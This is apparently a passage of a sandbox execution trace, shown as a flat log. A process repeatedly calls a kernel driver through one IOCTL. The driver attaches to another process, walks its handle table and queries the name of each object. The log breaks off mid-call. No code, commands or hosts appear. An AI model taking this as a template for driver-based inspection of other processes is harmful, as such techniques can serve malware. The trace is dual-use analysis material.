0x0 [0081.912] PsAcquireProcessExitSynchronization () returned 0x0 [0081.912] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.912] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8002f7bfb0, HandleInformation=0x0) returned 0x0 [0081.912] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.912] PsReleaseProcessExitSynchronization () returned 0x2 [0081.912] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.912] ObQueryNameString (in: Object=0xfffffa8002f7bfb0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.912] ObfDereferenceObject (Object=0xfffffa8002f7bfb0) returned 0x1 [0081.912] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.913] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.913] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.913] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.913] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.913] PsAcquireProcessExitSynchronization () returned 0x0 [0081.913] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.913] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80030674c0, HandleInformation=0x0) returned 0x0 [0081.913] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.913] PsReleaseProcessExitSynchronization () returned 0x2 [0081.913] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.913] ObQueryNameString (in: Object=0xfffffa80030674c0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.913] ObfDereferenceObject (Object=0xfffffa80030674c0) returned 0x1 [0081.913] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.913] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.913] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.913] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.913] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.913] PsAcquireProcessExitSynchronization () returned 0x0 [0081.913] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.913] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80035574d0, HandleInformation=0x0) returned 0x0 [0081.913] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.913] PsReleaseProcessExitSynchronization () returned 0x2 [0081.913] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.913] ObQueryNameString (in: Object=0xfffffa80035574d0, ObjectNameInfo=0xfffffa800391d044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800391d044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.913] ObfDereferenceObject (Object=0xfffffa80035574d0) returned 0x1 [0081.913] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.913] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.913] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.913] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.913] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.913] PsAcquireProcessExitSynchronization () returned 0x0 [0081.913] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.913] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800225e070, HandleInformation=0x0) returned 0x0 [0081.913] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.913] PsReleaseProcessExitSynchronization () returned 0x2 [0081.913] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.913] ObQueryNameString (in: Object=0xfffffa800225e070, ObjectNameInfo=0xfffffa800391e044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800391e044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.914] ObfDereferenceObject (Object=0xfffffa800225e070) returned 0x1 [0081.914] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.914] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.914] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.914] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.914] PsAcquireProcessExitSynchronization () returned 0x0 [0081.914] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.914] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003404800, HandleInformation=0x0) returned 0x0 [0081.914] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.914] PsReleaseProcessExitSynchronization () returned 0x2 [0081.914] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.914] ObQueryNameString (in: Object=0xfffffa8003404800, ObjectNameInfo=0xfffffa8003922044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003922044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.914] ObfDereferenceObject (Object=0xfffffa8003404800) returned 0x1 [0081.914] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.914] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.914] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.914] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.914] PsAcquireProcessExitSynchronization () returned 0x0 [0081.914] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.914] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80026f1fb0, HandleInformation=0x0) returned 0x0 [0081.914] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.914] PsReleaseProcessExitSynchronization () returned 0x2 [0081.914] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.914] ObQueryNameString (in: Object=0xfffffa80026f1fb0, ObjectNameInfo=0xfffffa800394b044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800394b044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.914] ObfDereferenceObject (Object=0xfffffa80026f1fb0) returned 0x1 [0081.914] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.914] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.914] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.914] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0081.914] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.914] PsAcquireProcessExitSynchronization () returned 0x0 [0081.914] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.914] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0081.915] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.915] PsReleaseProcessExitSynchronization () returned 0x2 [0081.915] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.915] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8003955044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003955044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.915] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x7 [0081.915] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.915] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.915] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.915] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0081.915] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.915] PsAcquireProcessExitSynchronization () returned 0x0 [0081.915] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.915] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003075a50, HandleInformation=0x0) returned 0x0 [0081.915] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.915] PsReleaseProcessExitSynchronization () returned 0x2 [0081.915] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.915] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003958044, Length=0x800, ReturnLength=0xfffff88005452508 | out: ObjectNameInfo=0xfffffa8003958044, ReturnLength=0xfffff88005452508) returned 0x0 [0081.915] ObfDereferenceObject (Object=0xfffffa8003075a50) returned 0x3 [0081.915] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.915] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.915] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.915] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.915] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.915] PsAcquireProcessExitSynchronization () returned 0x0 [0081.915] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.915] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80030684c0, HandleInformation=0x0) returned 0x0 [0081.915] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.915] PsReleaseProcessExitSynchronization () returned 0x2 [0081.915] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.915] ObQueryNameString (in: Object=0xfffffa80030684c0, ObjectNameInfo=0xfffffa8003962044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003962044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.915] ObfDereferenceObject (Object=0xfffffa80030684c0) returned 0x1 [0081.915] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.915] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0081.915] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0081.915] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.915] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.916] PsAcquireProcessExitSynchronization () returned 0x0 [0081.916] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0081.916] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80018f6730, HandleInformation=0x0) returned 0x0 [0081.916] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.916] PsReleaseProcessExitSynchronization () returned 0x2 [0081.916] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0081.916] ObQueryNameString (in: Object=0xfffffa80018f6730, ObjectNameInfo=0xfffffa8003963044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003963044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.916] ObfDereferenceObject (Object=0xfffffa80018f6730) returned 0x2 [0081.916] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.916] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.306] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.306] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0082.306] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.306] PsAcquireProcessExitSynchronization () returned 0x0 [0082.306] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.306] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80034f2d40, HandleInformation=0x0) returned 0x0 [0082.306] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.306] PsReleaseProcessExitSynchronization () returned 0x2 [0082.306] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.306] ObQueryNameString (in: Object=0xfffffa80034f2d40, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005452550) returned 0x0 [0082.306] ObfDereferenceObject (Object=0xfffffa80034f2d40) returned 0x2 [0082.306] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.306] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.306] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.306] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0082.306] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.306] PsAcquireProcessExitSynchronization () returned 0x0 [0082.306] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.306] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0019afad0, HandleInformation=0x0) returned 0x0 [0082.306] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.306] PsReleaseProcessExitSynchronization () returned 0x2 [0082.306] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.306] ObQueryNameString (in: Object=0xfffff8a0019afad0, ObjectNameInfo=0xfffffa8003083344, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003083344, ReturnLength=0xfffff88005452550) returned 0x0 [0082.307] ObfDereferenceObject (Object=0xfffff8a0019afad0) returned 0x1 [0082.307] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.307] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.307] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.307] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0082.307] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.307] PsAcquireProcessExitSynchronization () returned 0x0 [0082.307] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.307] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800358f410, HandleInformation=0x0) returned 0x0 [0082.307] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.307] PsReleaseProcessExitSynchronization () returned 0x2 [0082.307] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.307] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391e044, Length=0x800, ReturnLength=0xfffff88005452508 | out: ObjectNameInfo=0xfffffa800391e044, ReturnLength=0xfffff88005452508) returned 0x0 [0082.307] ObfDereferenceObject (Object=0xfffffa800358f410) returned 0x2 [0082.307] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.307] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.307] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.307] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0082.307] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.307] PsAcquireProcessExitSynchronization () returned 0x0 [0082.307] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.307] ObReferenceObjectByHandle (in: Handle=0x134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003c396d0, HandleInformation=0x0) returned 0x0 [0082.307] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.307] PsReleaseProcessExitSynchronization () returned 0x2 [0082.307] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.307] ObQueryNameString (in: Object=0xfffffa8003c396d0, ObjectNameInfo=0xfffffa8003922044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003922044, ReturnLength=0xfffff88005452550) returned 0x0 [0082.307] ObfDereferenceObject (Object=0xfffffa8003c396d0) returned 0x2 [0082.307] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.307] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.307] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.307] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0082.307] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.308] PsAcquireProcessExitSynchronization () returned 0x0 [0082.308] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.308] ObReferenceObjectByHandle (in: Handle=0x138, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80032446e0, HandleInformation=0x0) returned 0x0 [0082.308] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.308] PsReleaseProcessExitSynchronization () returned 0x2 [0082.308] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.308] ObQueryNameString (in: Object=0xfffffa80032446e0, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005452550) returned 0x0 [0082.308] ObfDereferenceObject (Object=0xfffffa80032446e0) returned 0x2 [0082.308] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.308] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.308] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.308] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x380b40, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x380b40*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0082.308] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0082.308] PsAcquireProcessExitSynchronization () returned 0x0 [0082.308] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054525d0) [0082.308] ObReferenceObjectByHandle (in: Handle=0x13c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a001ad3dc0, HandleInformation=0x0) returned 0x0 [0082.308] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0082.308] PsReleaseProcessExitSynchronization () returned 0x2 [0082.308] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0082.308] ObQueryNameString (in: Object=0xfffff8a001ad3dc0, ObjectNameInfo=0xfffffa800392a044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800392a044, ReturnLength=0xfffff88005452550) returned 0x0 [0082.308] ObfDereferenceObject (Object=0xfffff8a001ad3dc0) returned 0x1 [0082.308] IofCompleteRequest (Irp=0xfffffa80019d8780, PriorityBoost=0) [0082.308] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x380b40 | out: hHeap=0x340000) returned 1 [0082.308] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x380b40 [0082.308] DeviceIoControl (in: 